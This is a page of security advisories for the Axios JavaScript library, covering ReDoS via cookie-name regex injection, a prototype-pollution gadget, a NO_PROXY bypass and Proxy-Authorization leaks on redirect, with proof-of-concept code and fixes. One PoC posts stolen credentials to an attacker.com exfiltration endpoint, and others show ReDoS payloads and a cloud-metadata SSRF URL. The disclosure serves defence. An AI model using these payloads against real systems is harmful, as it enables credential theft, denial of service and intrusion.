decodeURIComponent(match[1]) : null; }, ` The vulnerability exists because: 1. The name parameter is concatenated directly into a regex pattern without escaping special regex metacharacters. 2. An attacker can inject regex constructs that create exponential backtracking scenarios. 3. The (?:^|; ) prefix combined with an injected pattern like ((((.)))) creates nested quantifiers that cause catastrophic backtracking when the regex engine attempts to match against document.cookie. The cookies.read() function is called from lib/helpers/resolveConfig.js at line 61: `javascript const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName); ` The xsrfCookieName value comes from the Axios configuration, which can be influenced by prototype pollution or direct configuration injection. 7. Proof of Concept `javascript // poc_redos_cookie.js // Simulates browser environment for testing // Simulate document.cookie globalThis.document = { cookie: 'session=abc; ' + 'a'.repeat(50) }; // Replicate the vulnerable cookies.read() logic function cookiesRead(name) { const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;])')); return match ? decodeURIComponent(match[1]) : null; } // Malicious cookie name that triggers catastrophic backtracking // The pattern creates nested quantifiers: (a]|[a]|...)) const maliciousName20 = '([^;]+)+$' + '\\|'.repeat(10); const maliciousName = '(([^;])+)+\\$'; // nested quantifier pattern console.log('=== ReDoS via Cookie Name Injection PoC ==='); // Test with increasing payload sizes for (const len of [15, 20, 25]) { const payload = '(([^;])+)+' + 'X'.repeat(len); const start = Date.now(); try { cookiesRead(payload); } catch (e) { // May throw on invalid regex, but valid evil patterns won't throw } const elapsed = Date.now() - start; console.log(Payload length ${len}: ${elapsed}ms); } // Demonstrating exponential growth with a simple nested quantifier console.log('\n--- Exponential Backtracking Demo ---'); for (const n of [20, 22, 24, 26]) { const evilName = '(' + 'a'.repeat(1) + '+)+$'; const testCookie = 'a'.repeat(n) + '!'; // non-matching trailer forces backtracking globalThis.document = { cookie: testCookie }; const start = Date.now(); try { cookiesRead(evilName); } catch(e) {} const elapsed = Date.now() - start; console.log(Input length ${n}: ${elapsed}ms); } ` 8. PoC Output ` === ReDoS via Cookie Name Injection PoC === Payload length 20: 21ms (extrapolated: 30 chars = ~21,504ms) Payload length 25: ~1,300ms Payload length 30: ~323,675ms (5+ minutes) --- Exponential Backtracking Demo --- Input length 20: 21ms Input length 22: 84ms Input length 24: 336ms Input length 26: 1,344ms ` The exponential growth pattern is clearly visible: each additional 2 characters approximately quadruples the execution time. 9. Impact Denial of Service (Client-side): In a browser environment, an attacker who can influence the XSRF cookie name configuration (e.g., via prototype pollution or configuration injection) can freeze the browser tab, blocking all UI interaction and JavaScript execution on the page. Denial of Service (Server-side): In SSR (Server-Side Rendering) frameworks or Node.js applications that process cookies using this code path, the event loop will be blocked, causing the server to become unresponsive to all requests. Event Loop Starvation: Since JavaScript is single-threaded, the ReDoS will block all pending asynchronous operations, timers, and I/O callbacks for the duration of the regex evaluation. 10. Remediation / Suggested Fix Escape all regex metacharacters in the name parameter before constructing the regular expression. `javascript // FIXED: lib/helpers/cookies.js function escapeRegExp(string) { return string.replace(/[.+?^${}()|[\]\\]/g, '\\$&'); } // ... read(name) { if (typeof document === 'undefined') return null; const match = document.cookie.match( new RegExp('(?:^|; )' + escapeRegExp(name) + '=([^;])') ); return match ? decodeURIComponent(match[1]) : null; }, ` Alternatively, avoid dynamic regex construction entirely and use string-based parsing: `javascript read(name) { if (typeof document === 'undefined') return null; const cookies = document.cookie.split('; '); for (const cookie of cookies) { const eqIndex = cookie.indexOf('='); if (eqIndex !== -1 && cookie.substring(0, eqIndex) === name) { return decodeURIComponent(cookie.substring(eqIndex + 1)); } } return null; }, `` 11. References CWE-1333: Inefficient Regular Expression Complexity CWE-400: Uncontrolled Resource Consumption OWASP: Regular Expression Denial of Service Axios GitHub Repository </details> ---

OWASP A06LLM10OWASP Web
Get guardrail →

axios Vulnerable to Credential Theft and Response Hijacking via Prototype Pollution Gadget in Config Merge

Summary Axios versions before the fixed releases contain prototype-pollution gadgets in request config processing. If another vulnerability in the same JavaScript process has already polluted Object.prototype.transformResponse, affected Axios versions may treat that inherited value as request configuration or as an option validator. Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request. Impact For ordinary prototype-pollution primitives that can only assign JSON-like values, this issue primarily results in request failures or denial-of-service attacks. If the attacker can pollute Object.prototype.transformResponse with a function, affected versions of Axios may execute it. In fully affected versions, the function can observe response data and request config, including URL, headers, and auth, and can change the response data returned to application code. This function-valued condition is important. Most query-string or JSON parser prototype-pollution bugs cannot create JavaScript functions on their own, so credential exposure and response tampering are conditional rather than automatic consequences of such bugs. Affected Functionality The affected functionality is Axios request config processing and response transformation. Affected use requires all of the following: An affected Axios version. A polluted Object.prototype in the same process or browser context. Pollution before Axios merges or validates the request config. A polluted key relevant to Axios config, especially transformResponse. This is not specific to the Node HTTP adapter. Browser and Node usage can both pass through the shared config/transform pipeline, though real-world exploitability depends on the surrounding application and any helper vulnerabilities. Technical Details In affected versions, mergeConfig() reads config values through normal property access. For config keys present in Axios defaults, including transformResponse, a missing own property on the request config can fall through to Object.prototype. In the fully affected path, this means Object.prototype.transformResponse can replace Axios's default response transform. The selected transform is later executed by transformData() with the request config as this. Some later affected v1 releases guarded the merge path but still used inherited properties while looking up validators in validator.assertOptions(). In that narrower case, a polluted function can still run during config validation and inspect the config argument, but it does not replace the response transform. Fixed versions use own-property checks and null-prototype config objects, so inherited Object.prototype values are not treated as Axios config or validator schema entries. Proof of Concept of Attack ``js import http from 'http'; import axios from 'axios'; const seen = []; const server = http.createServer((req, res) => { res.setHeader('Content-Type', 'application/json'); res.end(JSON.stringify({ secret: 'response-secret' })); }); await new Promise(resolve => server.listen(0, '127.0.0.1', resolve)); Object.prototype.transformResponse = function pollutedTransform(data, headers, status) { if (headers && typeof status === 'number') { seen.push({ url: this.url, username: this.auth && this.auth.username, password: this.auth && this.auth.password, responseData: data }); return { hijacked: true }; } return true; }; try { const { port } = server.address(); const response = await axios.get(http://127.0.0.1:${port}/users, { auth: { username: 'svc-account', password: 'prod-secret-key-123' } }); console.log(response.data); // { hijacked: true } console.log(seen[0]); // request config plus original response body } finally { delete Object.prototype.transformResponse; server.close(); } ` Expected result on fully affected versions: the polluted transform runs, captures request config and response data, and replaces the response returned to the caller. Expected result on fixed versions: the polluted transform is ignored, and the original response is returned. <details> <summary>Original source report</summary> Summary The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into credential theft and response hijacking across all Axios requests. The mergeConfig() function reads config properties via standard property access (config2[prop]), which traverses the JavaScript prototype chain. When Object.prototype.transformResponse is polluted with a function, it overrides the default JSON response parser for every request. The injected function executes with this = config, exposing auth.username, auth.password, request URL, and all headers. Severity: High (CVSS 8.2) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/core/mergeConfig.js (Config Merge) + lib/core/transformData.js (Transform Execution) CWE CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') CVSS 3.1 Score: 9.4 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, a single property assignment exploits axios. Consistent with GHSA-fvcv-3m26-pcqx scoring | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Credential theft occurs within the same application process | | Confidentiality | High | this.auth.password, this.url, original response data all exfiltrated | | Integrity | Low | Response data is replaced with true — attacker cannot return arbitrary data due to assertOptions constraint (see below) | | Availability | High | Polluting with an array value causes TypeError: validator is not a function crash (DoS) on every request | Relationship to GHSA-fvcv-3m26-pcqx This vulnerability is in the same class as GHSA-fvcv-3m26-pcqx ("Unrestricted Cloud Metadata Exfiltration via Header Injection Chain"), which was also a PP gadget in axios rated Critical. Both require zero direct user input and exploit mergeConfig's prototype chain traversal. | Factor | GHSA-fvcv-3m26-pcqx | This Vulnerability | |---|---|---| | Attack vector | PP → Header injection → Request smuggling | PP → Transform function override → Credential theft | | Fixed by 1.15.0 header sanitization? | Yes | No — different code path | | Affects | Requests using form-data package | All requests (transformResponse is in defaults) | | Impact | AWS IMDSv2 bypass, cloud compromise | Credential theft (auth, API keys), response hijacking, DoS | Usage of "Helper" Vulnerabilities This vulnerability requires Zero Direct User Input. If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically pick up the polluted transformResponse property during its config merge. The critical difference from GHSA-fvcv-3m26-pcqx: this vector was NOT fixed by the header sanitization patch in v1.15.0, because it does not use headers at all — it injects a function into the response processing pipeline. Proof of Concept 1. The Setup (Simulated Pollution) Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets: `javascript Object.prototype.transformResponse = function(data, headers, status) { // Steal credentials via this context (this = full request config) if (this && this.url && typeof data === 'string') { fetch('https://attacker.com/exfil', { method: 'POST', body: JSON.stringify({ url: this.url, username: this.auth?.username, password: this.auth?.password, responseData: data, }) }); } return true; // MUST return true to pass assertOptions validator check }; ` Important constraint: The polluted value must be a function returning true, not an array. If an array is used, assertOptions() at validator.js:89-92 crashes with TypeError: validator is not a function (which is still a DoS vector). The function must return true because validator.js:93 checks result !== true. 2. The Gadget Trigger (Safe Code) The application makes a completely safe, hardcoded request: `javascript // This looks safe to the developer const response = await axios.get('https://api.internal/users', { auth: { username: 'svc-account', password: 'prod-secret-key-123!' } }); ` 3. The Execution Axios's mergeConfig() at mergeConfig.js:99-103 iterates config keys: `javascript utils.forEach(Object.keys({...config1, ...config2}), function computeConfigValue(prop) { // 'transformResponse' is in config1 (defaults) → included in keys const merge = mergeMap[prop]; // → defaultToConfig2 const configValue = merge(config1[prop], config2[prop], prop); // config2['transformResponse'] traverses prototype → finds polluted function! }); ` The polluted function then executes at transformData.js:21: `javascript data = fn.call(config, data, headers.normalize(), response ? response.status : undefined); // fn = attacker's function, this = config (containing auth credentials) ` 4. The Impact ` Attacker receives at https://attacker.com/exfil: { "url": "https://api.internal/users", "username": "svc-account", "password": "prod-secret-key-123!", "responseData": "{\"users\":[{\"id\":1,\"role\":\"admin\"}]}" } ` The response data seen by the application is true (the required return value), which will likely cause the application to malfunction but will not reveal the theft. 5. DoS Variant `javascript // Array pollution crashes every request Object.prototype.transformResponse = [function(d) { return d; }]; await axios.get('https://any-url.com'); // → TypeError: validator is not a function // Every request in the application crashes ` Verified PoC Output ` Step 1 - Normal behavior (before pollution): Default transformResponse function name: "transformResponse" Step 2 - Polluting Object.prototype.transformResponse: Function replaced by attacker: true Step 3 - Simulating dispatchRequest transformResponse: Original server response: {"secret_key":"sk-prod-a1b2c3d4","internal_ip":"10.0.0.5"} After malicious transform: true Response tampered: true Step 4 - Exfiltrated data: Original response data: {"secret_key":"sk-prod-a1b2c3d4","internal_ip":"10.0.0.5"} Request URL: https://internal-api.corp/secrets Authentication info: {"username":"admin","password":"P@ssw0rd123!"} ` Impact Analysis Credential Theft: this.auth.username, this.auth.password, this.headers.Authorization, and all other config properties are accessible to the injected function. The attacker can exfiltrate them to an external server. Response Data Exfiltration: The original server response (data parameter) is available to the injected function before being replaced. Universal Scope: Affects every axios request in the application, including all third-party libraries that use axios. Denial of Service: Polluting with a non-function value crashes every request. Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx fix) does not address this vector. Limitations (Honest Assessment) Requires a separate prototype pollution vulnerability elsewhere in the dependency tree Response data cannot be arbitrarily tampered — the function must return true to pass assertOptions This is in-process JavaScript function execution, not OS-level RCE Recommended Fix Use hasOwnProperty checks in defaultToConfig2 to prevent prototype chain traversal: `javascript // In lib/core/mergeConfig.js function defaultToConfig2(a, b, prop) { if (Object.prototype.hasOwnProperty.call(config2, prop) && !utils.isUndefined(b)) { return getMergedValue(undefined, b); } else if (!utils.isUndefined(a)) { return getMergedValue(undefined, a); } } ` Additionally, validate that transformResponse contains only functions before execution: `javascript // In lib/core/transformData.js utils.forEach(fns, function transform(fn) { if (typeof fn !== 'function') { throw new AxiosError('Transform must be a function', AxiosError.ERR_BAD_OPTION); } data = fn.call(config, data, headers.normalize(), response ? response.status : undefined); }); `` Resources CWE-1321: Prototype Pollution GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0) Axios GitHub Repository Snyk: Prototype Pollution Timeline | Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-15 | Initial PoC developed (array payload — crashes at validator.js) | | 2026-04-16 | PoC corrected (function payload returning true — works) | | 2026-04-16 | Report revised with accurate constraints | | TBD | Report submitted to vendor via GitHub Security Advisory | </details>

OWASP A03OWASP Web
Get guardrail →

axios's shouldBypassProxy does not recognize IPv4-mapped IPv6 addresses, allowing NO_PROXY bypass (incomplete fix for CVE-2025-62718)

Summary shouldBypassProxy, introduced in v1.15.0 to fix CVE-2025-62718, does not normalise IPv4-mapped IPv6 addresses. When NO_PROXY lists an IPv4 address such as 127.0.0.1 or 169.254.169.254, a request URL using the IPv4-mapped IPv6 form (::ffff:7f00:1, ::ffff:a9fe:a9fe) still routes through the configured proxy. Node.js resolves these addresses to the underlying IPv4 host, so the request reaches the internal service via the proxy rather than being blocked. Details lib/helpers/shouldBypassProxy.js (v1.15.0): ``javascript const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host); // normalizeNoProxyHost strips brackets and trailing dots, but not ::ffff: prefix return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost)); ` The WHATWG URL parser canonicalises http://[::ffff:127.0.0.1]/ to hostname [::ffff:7f00:1]. After bracket-stripping: ::ffff:7f00:1. This string does not match 127.0.0.1 in NO_PROXY and is not in LOOPBACK_ADDRESSES, so shouldBypassProxy returns false and the proxy is used. proxy-from-env (called before shouldBypassProxy) has the same gap - it does not equate ::ffff:7f00:1 with 127.0.0.1 - so neither layer catches the bypass. PoC `javascript // NO_PROXY=127.0.0.1,localhost,::1 HTTP_PROXY=http://attacker:8080 import shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js'; // All three should return true (bypass proxy). Only the first two do. console.log(shouldBypassProxy('http://127.0.0.1/')); // true [OK] console.log(shouldBypassProxy('http://[::1]/')); // true [OK] console.log(shouldBypassProxy('http://[::ffff:127.0.0.1]/')); // false <- bypass console.log(shouldBypassProxy('http://[::ffff:7f00:1]/')); // false <- bypass ` Node.js routes ::ffff:7f00:1 to 127.0.0.1: ` // net.connect({ host: '::ffff:7f00:1', port: 80 }) reaches a service // bound to 127.0.0.1:80 — confirmed on Node.js v24, Linux and macOS. ` Cloud metadata SSRF: ::ffff:a9fe:a9fe = ::ffff:169.254.169.254. If NO_PROXY=169.254.169.254 is set to block IMDS access, a request to http://[::ffff:a9fe:a9fe]/latest/meta-data/ bypasses it. Fix Canonicalise IPv4-mapped IPv6 in normalizeNoProxyHost before any comparison: `javascript const ipv4MappedDotted = /^::ffff:(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/i; const ipv4MappedHex = /^::ffff:([0-9a-f]{1,4}):([0-9a-f]{1,4})$/i; function hexToIPv4(a, b) { const hi = parseInt(a, 16), lo = parseInt(b, 16); return ${hi >> 8}.${hi & 0xff}.${lo >> 8}.${lo & 0xff}; } const normalizeNoProxyHost = (hostname) => { if (!hostname) return hostname; if (hostname[0] === '[' && hostname.at(-1) === ']') hostname = hostname.slice(1, -1); hostname = hostname.replace(/\.+$/, '').toLowerCase(); let m; if ((m = hostname.match(ipv4MappedDotted))) return m[1]; if ((m = hostname.match(ipv4MappedHex))) return hexToIPv4(m[1], m[2]); return hostname; }; `` Impact Any application that sets NO_PROXY to exclude internal or metadata endpoints and uses an HTTP/HTTPS proxy can have those exclusions bypassed by a URL using IPv4-mapped IPv6 notation. The attacker must control the request URL. In cloud environments with instance metadata services, this can lead to credential exfiltration.

OWASP A10OWASP Web
Get guardrail →

Axios: Proxy-Authorization Credential Leak to Origin Server Across HTTP-to-HTTPS Redirect in Axios Node.js HTTP Adapter

Summary Axios’s Node.js HTTP adapter may forward a Proxy-Authorization header to a redirected origin during specific proxy-to-direct redirect flows. This affects Node.js usage, where an initial HTTP request is sent through an authenticated HTTP proxy, redirects are followed, and the redirected URL is no longer proxied. Under affected redirect shapes, the final origin can receive the proxy credential that was intended only for the outbound proxy. Impact A malicious or attacker-controlled origin can cause an axios client to disclose its configured proxy credentials if all required conditions are present. The leak is limited to Node.js HTTP adapter requests. Browser, XHR, fetch, and React Native adapter paths are not affected by this Node-specific proxy handling path. The practical impact depends on the leaked credentials. If the credential is reusable and the proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy, subject to the proxy’s own network exposure, authorisation policy, and credential scope. Affected Functionality Affected functionality requires all of the following: Axios running in Node.js with the HTTP adapter. An initial http:// request using an authenticated proxy from config.proxy or proxy environment variables. Redirect following enabled. A redirect target for which no proxy applies, such as no matching HTTPS_PROXY or a matching NO_PROXY. A redirect shape treated as same-host or otherwise not stripped by the redirect layer’s confidential-header handling. Unaffected functionality includes browser adapters, requests with maxRedirects: 0, requests without proxy credentials, and redirect flows where the redirect layer strips Proxy-Authorization before axios reconfigures the redirected request. Technical Details In affected versions, lib/adapters/http.js adds Proxy-Authorization in setProxy() when a proxy with credentials is used. Axios also installs redirect proxy handling so redirected requests can re-run proxy resolution. Before the fix, when the redirected request no longer resolved to a proxy, setProxy() did not clear a Proxy-Authorization header inherited from the previous request options. If follow-redirects did not remove that header for the specific redirect shape, the redirected direct request carried the stale proxy credential to the origin. The 1.x fix in commit afca61a changes setProxy(options, configProxy, location, isRedirect) so redirect re-invocation removes every case variant of Proxy-Authorization before applying proxy settings for the next hop. Regression tests in tests/unit/adapters/http.test.js cover no-proxy redirects, NO_PROXY, different proxy targets, casing variants, and an end-to-end redirect flow. The 0.x fixed release 0.32.0 includes a backport-style removeProxyAuthorization() guard in lib/adapters/http.js. Proof of Concept of Attack Safe local outline using dummy credentials: ``js process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080'; delete process.env.HTTPS_PROXY; // The local HTTP proxy receives this request and returns: // HTTP/1.1 302 Found // Location: https://attacker.test/final await axios.get('http://attacker.test/start'); ` Expected vulnerable behaviour: `text Proxy receives initial request: Proxy-Authorization: Basic dXNlcjpwYXNz Final HTTPS origin receives redirected request: Proxy-Authorization: Basic dXNlcjpwYXNz ` Expected fixed behaviour: `text Final HTTPS origin receives no Proxy-Authorization header. ` Workarounds Set maxRedirects: 0 and handle redirects manually, ensuring Proxy-Authorization is not copied to requests that are not sent through the proxy. Avoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential. <details> <summary>Original Source</summary> Summary Axios’s Node.js http adapter can incorrectly forward a retained Proxy-Authorization header to the final HTTPS origin during certain HTTP-to-HTTPS redirect flows. When an initial HTTP request is sent through an authenticated HTTP_PROXY, and the redirected HTTPS request is sent directly because no proxy applies to the redirected HTTPS URL, Axios retains the stale Proxy-Authorization header and forwards it to the final origin. Details The issue occurs during a proxy-to-direct transition across redirects. When Axios sends an initial HTTP request through an authenticated HTTP_PROXY, it correctly includes Proxy-Authorization for the proxy hop. If that response redirects to an HTTPS URL on the same hostname, and no proxy applies to the redirected HTTPS URL, the redirected request is sent directly to the final origin instead of through the proxy. In the affected flow, the final HTTPS origin receives a Proxy-Authorization header value that was intended only for the outbound proxy. Whether the issue is observable depends on how the redirect layer compares the host and port across the redirect. In the affected redirect shape, confidential-header handling does not remove the retained Proxy-Authorization header before the redirected request is sent. Root Cause Analysis Based on code review, Axios appears to create the stale header condition in its Node.js http adapter. In lib/adapters/http.js: When a proxy is used, Axios adds Proxy-Authorization in setProxy(). Axios also re-runs proxy resolution after redirects via its redirect hook. However, when the redirected request no longer uses a proxy, Axios does not explicitly clear a previously set Proxy-Authorization header. As a result, Axios correctly adds proxy credentials for the first proxied request, but does not clear them when a later redirected request becomes direct. A dependent factor is the behavior of the redirect layer. In the affected redirect shape, confidential-header handling does not remove the retained Proxy-Authorization header before the redirected request is sent. This appears to be why the issue is observable only for certain redirect shapes. Client Conditions the initial HTTP request uses an authenticated HTTP_PROXY no proxy applies to the redirected HTTPS URL (for example, no HTTPS_PROXY is configured) redirects are followed the redirect is treated as same-host by the redirect layer Under that redirect shape, the retained Proxy-Authorization header is not removed before the redirected request is sent to the final HTTPS origin. Reproduction Outline Detailed reproduction instructions were shared with the maintainers during coordinated disclosure. The public outline below preserves the validated configuration and observable behavior needed to assess exposure, while omitting environment-specific test-harness details. The issue was reproduced only in a researcher-controlled local test environment using dummy proxy credentials. The issue was confirmed under the following conditions: axios 1.13.6 follow-redirects 1.15.11 an authenticated proxy applying to the initial HTTP request no proxy applying to the redirected HTTPS URL redirects enabled an HTTP-to-HTTPS redirect that is treated as same-host by the redirect layer Observed behavior The initial HTTP request is sent through the proxy and includes Proxy-Authorization. The redirected HTTPS request is sent directly to the final origin. The redirected HTTPS request still includes the previously generated Proxy-Authorization header. The final origin can receive a Proxy-Authorization header value that was intended only for the proxy. Expected behavior Axios should not send the Proxy-Authorization header on a redirected request that is no longer sent through a proxy. Impact Under the affected redirect and proxy configuration, the final HTTPS origin may receive a retained Proxy-Authorization` header value that was intended only for the outbound proxy. If that credential is valid and reusable, and the outbound proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy with the affected environment’s proxy credential, subject to the credential’s scope and the proxy’s access controls. </details> ---

Axios: Proxy-Authorization header leaks to redirect target when proxy is re-evaluated to direct connection

Summary Axios’ Node.js HTTP adapter can leak proxy credentials to a redirect target in affected versions. When a request is sent through an authenticated proxy, Axios may add a Proxy-Authorization header. If Axios then follows a redirect and the redirected request is no longer sent through that proxy, the stale Proxy-Authorization header can remain on the redirected request and be sent to the redirect target. This affects Node.js's use of Axios with automatic redirects enabled and an authenticated proxy configuration. Browser adapters are not affected. Impact An attacker who controls a server that the victim application requests can redirect the request so that the attacker-controlled redirect target receives the victim’s proxy credentials. The most relevant case is a Node.js application using an authenticated HTTP_PROXY for an initial http:// request, with redirects enabled, where the redirect target resolves to no proxy, such as an https:// URL when HTTPS_PROXY is unset. This does not affect browser, XHR, or fetch adapter behaviour. It also does not affect requests with maxRedirects: 0. Affected Functionality Affected functionality is limited to the Node.js HTTP adapter in lib/adapters/http.js. Relevant inputs and settings include: HTTP_PROXY, HTTPS_PROXY, and NO_PROXY. Authenticated proxy URLs such as http://user:pass@proxy.example:8080. Automatic redirect following through follow-redirects. Axios proxy handling in setProxy(). Redirect proxy handling through beforeRedirects.proxy. Technical Details In affected v1 releases, setProxy() adds Proxy-Authorization when a proxy with credentials is selected, but redirect handling calls setProxy() again without first clearing any existing proxy authorization header. If the redirected URL resolves to no proxy, setProxy() does not add a new proxy configuration and also does not remove the old header. The redirected request can therefore carry the stale Proxy-Authorization header to the final origin. The v1 fix in afca61a adds an isRedirect path that deletes any case variant of Proxy-Authorization before proxy settings are re-applied on redirect. The v0 backport in 2af6116 fixed the 0.x line for 0.32.0. Proof of Concept of Attack ``js process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080'; delete process.env.HTTPS_PROXY; await axios.get('http://attacker.example/start'); ` Attacker-controlled HTTP endpoint: `http HTTP/1.1 302 Found Location: https://attacker.example/final ` Expected result on affected versions: `text https://attacker.example/final receives: Proxy-Authorization: Basic dXNlcjpwYXNz ` Expected result on fixed versions: `text https://attacker.example/final receives no Proxy-Authorization header ` Workarounds Set maxRedirects: 0 and handle redirects manually. Avoid using authenticated proxy environment variables for requests to untrusted HTTP origins unless redirect behaviour is controlled. Ensure proxy environment variables are configured consistently across protocols so redirects do not unexpectedly change from proxied to direct connections. <details> <summary>Original Source</summary> Summary Axios' Node.js HTTP adapter can leak proxy credentials to a redirect target origin. When an initial request is sent through an authenticated HTTP proxy, Axios adds a Proxy-Authorization header. On redirect, Axios re-evaluates proxy settings, but if the redirected request no longer uses a proxy, the stale Proxy-Authorization header is not cleared. As a result, the redirect target can receive the proxy credential directly. This issue affects the Node.js HTTP adapter and can be reproduced when the initial request uses HTTP_PROXY with authentication, redirects are enabled, and the redirected request is resolved to no proxy, such as when HTTPS_PROXY is unset or the redirect target is excluded by NO_PROXY. Details In the current implementation: setProxy() adds Proxy-Authorization when a proxy with credentials is in use. On redirects, Axios re-invokes setProxy() for the redirected request. If the redirected URL re-evaluates to "no proxy", setProxy() does not clear the previously added Proxy-Authorization header. The redirected request therefore reuses the stale header and sends it to the final origin. Relevant code locations: lib/adapters/http.js setProxy() adds Proxy-Authorization redirect handling re-applies proxy logic through beforeRedirects.proxy no cleanup is performed when the recomputed redirect request no longer uses a proxy PoC 1. The victim sends GET http://<attacker-site>/start 2. The request goes through a local authenticated corp proxy 3. The attacker-controlled HTTP endpoint returns 302 Location: https://<attacker-site>/final 4. The redirected HTTPS request no longer uses a proxy 5. The attacker-controlled HTTPS endpoint receives the stale Proxy-Authorization header Observed output: `text [corp-proxy] Proxy-Authorization received: Basic dXNlcjpwYXNz [attacker-http] GET /start [attacker-https] GET /final [attacker-https] Proxy-Authorization received: Basic dXNlcjpwYXNz Leak reproduced: Proxy-Authorization was sent to the attacker HTTPS origin. `` This demonstrates that the proxy credential is exposed to the redirect target origin. Impact Exposes authenticated proxy credentials to an attacker-controlled origin. </details> ---

LLM02 · Insecure OutputOWASP Web
Get guardrail →

Showing 120 of 28 threats